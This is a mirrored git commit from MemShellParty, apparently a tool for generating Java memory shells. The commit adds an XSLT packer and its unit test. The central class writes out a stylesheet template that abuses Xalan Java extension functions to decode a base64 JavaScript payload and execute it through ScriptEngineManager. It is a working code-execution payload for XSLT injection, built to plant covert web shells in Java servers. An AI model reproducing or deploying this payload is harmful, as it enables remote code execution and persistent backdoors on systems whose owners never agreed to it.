mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: add XSLT packer
This commit is contained in:
@@ -53,6 +53,8 @@ import com.reajason.javaweb.packer.velocity.VelocityPacker;
|
||||
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderDefineClassPacker;
|
||||
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker;
|
||||
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderScriptEnginePacker;
|
||||
import com.reajason.javaweb.packer.xslt.XSLTPacker;
|
||||
import com.reajason.javaweb.packer.xslt.XSLTScriptEnginePacker;
|
||||
import com.reajason.javaweb.packer.xxljob.XxlJobHessianPacker;
|
||||
import com.reajason.javaweb.packer.xxljob.XxlJobJsonPacker;
|
||||
import com.reajason.javaweb.packer.xxljob.XxlJobPacker;
|
||||
@@ -154,6 +156,12 @@ public enum Packers {
|
||||
XMLDecoderScriptEngine(new XMLDecoderScriptEnginePacker(), XMLDecoderPacker.class),
|
||||
XMLDecoderDefineClass(new XMLDecoderDefineClassPacker(), XMLDecoderPacker.class),
|
||||
|
||||
/**
|
||||
* XSLT 打包器
|
||||
*/
|
||||
XSLT(new XSLTPacker()),
|
||||
XSLTScriptEngine(new XSLTScriptEnginePacker(), XSLTPacker.class),
|
||||
|
||||
/**
|
||||
* Java 反序列化打包器
|
||||
*/
|
||||
|
||||
@@ -0,0 +1,10 @@
|
||||
package com.reajason.javaweb.packer.xslt;
|
||||
|
||||
import com.reajason.javaweb.packer.AggregatePacker;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/8/30
|
||||
*/
|
||||
public class XSLTPacker implements AggregatePacker {
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
package com.reajason.javaweb.packer.xslt;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.util.Base64;
|
||||
|
||||
/**
|
||||
* JDK 1.6 ~ 1.8 XSLT payload (Xalan Java extension functions): decodes the
|
||||
* JavaScript payload with javax.xml.bind.DatatypeConverter (bundled since JDK6,
|
||||
* removed in JDK11) and evaluates it through the built-in ScriptEngineManager
|
||||
* js engine (Rhino on JDK 1.6/1.7, Nashorn on JDK 1.8).
|
||||
*
|
||||
* @author ReaJason
|
||||
* @since 2026/8/30
|
||||
*/
|
||||
public class XSLTScriptEnginePacker implements Packer {
|
||||
String template = "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" " +
|
||||
"xmlns:base=\"http://xml.apache.org/xalan/java/javax.xml.bind.DatatypeConverter\" " +
|
||||
"xmlns:stringclazz=\"http://xml.apache.org/xalan/java/java.lang.String\" " +
|
||||
"xmlns:jsclazz=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngineManager\" " +
|
||||
"xmlns:jseclazz=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngine\" " +
|
||||
"exclude-result-prefixes=\"base stringclazz jsclazz jseclazz\">" +
|
||||
"<xsl:template match=\"/\">" +
|
||||
"<xsl:variable name=\"payload\" select=\"stringclazz:new(base:parseBase64Binary('{{base64Str}}'))\"/>" +
|
||||
"<xsl:variable name=\"jsobj\" select=\"jsclazz:new()\"/>" +
|
||||
"<xsl:variable name=\"jso\" select=\"jsclazz:getEngineByName($jsobj,'js')\"/>" +
|
||||
"<xsl:variable name=\"jse\" select=\"jseclazz:eval($jso,$payload)\"/>" +
|
||||
"<xsl:value-of select=\"$jse\"/>" +
|
||||
"</xsl:template>" +
|
||||
"</xsl:stylesheet>";
|
||||
|
||||
@Override
|
||||
public String pack(ClassPackerConfig config) {
|
||||
String js = Packers.DefaultScriptEngine.getInstance().pack(config);
|
||||
return template.replace("{{base64Str}}",
|
||||
Base64.getEncoder().encodeToString(js.getBytes(StandardCharsets.UTF_8)));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
package com.reajason.javaweb.packer.xslt;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.util.Base64;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertFalse;
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
|
||||
class XSLTPackerTest {
|
||||
|
||||
private static ClassPackerConfig config(String className) {
|
||||
ClassPackerConfig config = new ClassPackerConfig();
|
||||
byte[] classBytes = "hello".getBytes(StandardCharsets.UTF_8);
|
||||
config.setClassName(className);
|
||||
config.setClassBytes(classBytes);
|
||||
config.setClassBytesBase64Str(Base64.getEncoder().encodeToString(classBytes));
|
||||
return config;
|
||||
}
|
||||
|
||||
@Test
|
||||
void packScriptEngine() {
|
||||
String payload = new XSLTScriptEnginePacker().pack(config("com.example.Test"));
|
||||
|
||||
assertTrue(payload.startsWith("<xsl:stylesheet"));
|
||||
assertTrue(payload.contains("DatatypeConverter"));
|
||||
assertTrue(payload.contains("ScriptEngineManager"));
|
||||
// the inner js payload is base64 encoded, class name should not appear in plain text
|
||||
assertFalse(payload.contains("com.example.Test"));
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user